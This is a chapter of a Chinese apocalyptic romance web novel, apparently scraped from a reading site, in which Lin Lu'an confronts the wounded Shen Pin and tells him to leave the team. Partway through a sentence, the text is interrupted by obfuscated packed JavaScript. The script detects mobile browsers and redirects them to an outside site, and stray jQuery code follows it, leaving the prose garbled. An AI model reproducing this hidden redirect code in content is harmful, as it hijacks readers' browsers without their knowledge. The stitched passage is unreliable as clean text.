林鹿桉望着泫然欲泣的沈榀,无助的像个男人。
“那个,对不起,我以为……反正,是我不对,你别哭啊。”
沈榀鼻头轻微抽动,像是一只刚被训斥的小动物,低落的声音微微暗哑。
“没关系,是我不对,回来晚了,害你误会。”
“不是,你也是情有可原。”
林鹿桉越说越小声,心里渐渐涌上一丝愧疚。
她看了一眼沈榀紧捂住的腹部,红色的血液氤氲在灰黑色的作战服上,将那一块颜色染的更深,甚至有些透过指缝划过骨节分明的手指,几乎将整只手染红。
“罗维呢?你们没在一起吗?怎么你们都回来了他还没回来啊。”
一直站在他们旁边的玛基里斯负责人终于找机会插进了话,他神色担忧,举止间慌张无措,说话间时不时的看向门口的方向。
沈榀痛苦的掀开眼皮,毫无血色的嘴唇轻启。
“他还没回来吗?”
“是呀!你们不是一起出去的吗?”
玛基里斯负责人急得直跺脚。
罗维是从他被调配到玛基里斯开始就一直跟着他的,在这个混乱的末世,两个人又都无亲无故,并肩作战这么多年,他早就将他视同家人。
喻冠青弯着腰手里一边给他处理着伤口,一边不动声色的低声询问。
“你们到底发生什么了?不是让你们在不远处原地待命吗?”
药水沾到伤口,沈榀吃痛的紧皱着眉头,苍白的脸上冷汗涔涔,仿佛痛极,他紧抿着唇,轻喘着气,回答的每一个音节仿佛是从灵魂的深处发出,嘶哑而破碎。
“我们本来在边界处两千米以外找了个破屋,那里周围都是这样的屋子,有利于藏身掩护,但是罗维当时说,我们一群人在一起太容易吸引注意了,所以就让其他人分散开藏身,以枪声为信号......”
说完这句话时,他像是耗费了太多力气,于是艰难的换了口气继续说道。
“之后就我跟罗维两个人在那间屋子里等待你们的指示,可我们等了好一会儿都没有动静,罗维就说他先去看看,让我在原地等,然后我就收不到他的消息了,我尝试联系了他很多次,但是他的耳机始终没有回应。”
沈榀的语速缓慢,每说一个字都仿佛用了很大的力气,说到最后甚至感觉已经有些喘不上气来,疼痛的嗓音难抑。
庄铃月见状,连忙给他注射了一针阿托品,说道。
“他失血过多,身体很虚,急需休息。”
说完,她招呼着两个人将人抬到了一架简易床上,这个屋内唯一的简易床还是用那被罗维摔碎的木桌搭建而成。
喻冠青看了一眼被抬走的沈榀,皱眉若有所思,难道是他多想了?
眼见着信息全断了,人也找不到了,玛基里斯负责人急得上蹿下跳,一个劲揪着喻冠青的衣服质问,要求出去找人。
然后两人经过一番激烈的辩论,从现在就出去找,到再等一晚出去找。
最后由于他们刚挫败了RE的锐气,现在陆地上可能正到处搜寻他们的踪迹,最终喻冠青的决定取得了大家的一致认同,玛基里斯负责人这才忿忿然的得以消停。
林鹿桉跟着后面票选完,心里抑制了很久的担心跟愧疚还是没能忍住。
她从物资管理那里拿了一块压缩饼干跟一瓶水,转头看向仅躺在一层破旧的灰蓝色布上的沈榀,回头又拿了几件队员们换下来,甚至还大面积露出里面棉花的破旧棉服。
然后迈步向躺在最里面角落位置的沈榀走去。
外面寒冬飘雪,屋内也仅有几盆火堆,沈榀紧闭着的双眸轻颤,身体因受伤畏寒而蜷缩微微颤抖。
林鹿桉见他难受的模样,秀眉微蹙,心底那股揪心般的异样再次涌现。
她慌张的收回情绪,随后视线下滑,细细的打量了一眼沈榀已经被包扎完好的伤口,然后将手里抱着的棉服盖在了他的身上,动作轻缓的深怕将人惊醒。
两人的距离随着动作而不经意间拉近,她侧目一瞥。
熟睡中的沈榀意外的乖巧,浓密的睫毛在眼睑投下扇形阴影,高挺的鼻梁在明明灭灭的火光中勾勒出流畅的线条,她视线不自觉的逐渐往下,紧抿的薄唇像是刚浸了水一般,水润柔软,时不时的发出一些细小的呢喃。
她缓缓凑近,断断续续的呓语声逐渐清晰。
“爸爸......妈妈......别走,我会,保护......妹妹......”
闻言,林鹿桉如触电般回弹起身子,却不料,手腕被一只满是凉意却有力的大掌钳制。
她微微垂眸,只见那双清澈深邃的双眸缓缓睁开,带上了一丝病后的虚弱跟湿润。
沈榀一瞬不瞬的望着她,张了张嘴,沙哑的声音中带着委屈跟小心翼翼的乞求。
“别走。”
林鹿桉一瞬间想到了小时候爸爸给他买的那只玩具小狗,那是她最喜欢的玩具,每晚必须抱着才能入睡,只可惜,被她遗落在那个久远泛黄记忆中的家里。
时间仿佛静止,她猛然回过神来,用力的挣脱开了沈榀的手掌,秀丽精致的脸上带上了严肃的表情。
“既然醒了,那我们好好聊聊吧。”
沈榀望着自己空落落悬在半空中的手掌,敛下眼底的失落,他艰难的撑起身,靠坐在了墙边,转而扬唇望向坐在自己床边的林鹿桉,语气里带着丝苦涩。
“好像,每次只有这样我们才会好好聊聊。”
闻言林鹿桉愣住,想起了上次沈榀为保护她躺在HT的病床上,好像也是这样的情形。
想到这儿,她严肃的神情逐渐收敛,声音不再那么冷硬,放缓了语气开口问道。
“你这伤到底是怎么来的?”
沈榀下意识的偏过头,掩盖眼底的闪烁,声音沉闷模糊,将一开始的说辞重复了一遍。
“在回来的路上遇到了失控的N,体力不支,所以,就受伤了。”
林鹿桉眼睛微眯,紧盯着言辞闪烁不敢跟她对视的沈榀,心里的猜测坐实了七八分。
她跟沈榀交过手,以他的能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148982|177820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力不可能受这么重的伤,何况还是一群只有行动能力没有任何脑细胞的N,除非,是他故意的。
但是她想不通他为什么要故意受伤。
“沈榀。”
林鹿桉忽然严肃的喊他的名字,让偏过头的沈榀心里一紧。
他连忙回过头,紧张的观察着林鹿桉眼中的情绪,渴望从中看到一丝的怜悯跟不忍。
“别这样......”
他虚弱的声音带上了一丝哭腔,眼底湿润,满脸写着无法言喻的无助。
但林鹿桉仿若没看到般,皱眉紧盯着他,声音冷静又陌生。
“你有太多事瞒着我们,作为队友,我没办法真正的去信任你,同样的,你也没有信任过我们。”
“......不是这样的。”
他的声音逐渐哽咽,呼吸急促,像是在极力克制着不哭出来。
“出任务的时候我不想一边应付突如其来的危险,还要一边提防着你,太累了,所以......”
“我不要......不要再说了......”
沈榀摇着头,眼睛红红的,声音细微而破碎,仿佛在抗拒听到接下来的话。
看着沈榀,林鹿桉心里有一瞬间的动容,却依旧强抑住那份不合时宜的莫名悸动,她有很多事要做,有很多人要守护,她不能将他们置身在这样不可确定的因素中去赌。
这已经是最好的安排了,无论是对他还是对她。
“玛基里斯的任务结束后,你就离开HT吧。”
林鹿桉沉声继续说道。
“求你,不要这么对我,求你了。”
沈榀撑着手艰难的爬到林鹿桉的面前,企图离她近一点,再近一点。
腹部缠裹的纱布上氤氲开了一层鲜红,但他却仿佛没有痛觉,强撑着身体前倾,一只手撑着身体的重量,另一只手伸出,颤抖着指尖想要去触碰林鹿桉的脸颊。
但却被她偏头躲过。
林鹿桉强忍着情绪,站起身,转身离开。
沈榀伸出的手就这么停滞在半空,随后手指好似不受控般颤抖着蜷缩攥紧,最终无力的垂落。
他低垂着头,顺势垂下的额间发遮住了他眼底的情绪,一滴泪顺着他的脸颊滑落,滴进灰蓝色的布上,氤氲开。
站在不远处始终注意着那边动静的庄铃月无奈的看了一眼径直走来的林鹿桉。
叹了一口气,语气中带着不忍。
“他现在身体状况经不起太大的情绪波动。”
林鹿桉停下脚步,她看着站在自己面前的庄铃月,心中一直强撑的坚强不自觉的塌了一角。
她紧抿着唇,清了清不知道为什么莫名有些发痒的嗓子,脸侧有几根头发紧贴在脸颊上,瞧着实在狼狈。
随后,林鹿桉有气无力的开口说道。
“他伤口崩开了,你能不能帮忙去看看?”
庄铃月看着她,心疼的将她脸侧散落的头发别直耳侧,低低的应了一声。
得到回应后,林鹿桉一言不发的侧身走过。